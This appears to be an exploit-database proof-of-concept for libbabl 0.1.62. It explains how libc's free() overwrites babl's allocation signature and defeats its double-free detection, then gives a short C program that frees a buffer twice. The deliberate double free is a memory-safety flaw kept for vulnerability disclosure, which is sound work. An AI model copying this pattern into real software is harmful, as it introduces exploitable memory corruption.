|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58  |  # Exploit Title: libbabl 0.1.62 - Broken Double Free Detection (PoC) # Date: December 14, 2020 # Exploit Author: Carter Yagemann # Vendor Homepage: https://www.gegl.org # Software Link: https://www.gegl.org/babl/ # Version: libbabl 0.1.62 and newer # Tested on: Debian Buster (Linux 4.19.0-9-amd64) # Compile: gcc -Ibabl-0.1 -lbabl-0.1 babl-0.1.62_babl_free.c /*  * Babl has an interesting way of managing buffers allocated and freed using babl_malloc()  * and babl_free(). This is the structure of its allocations (taken from babl-memory.c):  *  * typedef struct  * {  * char*signature;  * size_t size;  * int(*destructor)(void *ptr);  * } BablAllocInfo;  *  *  * signature is used to track whether a chunk was allocated by babl, and if so, whether  * it is currently allocated or freed. This is done by either pointing it to the global  * string "babl-memory" or "So long and thanks for all the fish." (babl-memory.c:44).  *  * Using this signature, babl can detect bad behavior's like double free (babl-memory.c:173):  *  * void  * babl_free (void *ptr,  *...)  * {  * ...  * if (freed == BAI (ptr)->signature)  * fprintf (stderr, "\nbabl:double free detected\n");  *  *  * Or so the developers think. As it turns out, because babl internally uses libc's malloc()  * and free(), which has its own data that it stores within freed chunks, most systems will  * overwrite babl's signature variable upon freeing, breaking the double free detection.  * The simple PoC below demonstrates this:  */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <babl/babl-memory.h> int main(int argc, char **argv) { void *buf = babl_malloc(42); babl_free(buf); // BUG: reports an "unknown" pointer warning when the following is clea= rly a double free babl_free(buf); return 0; }  |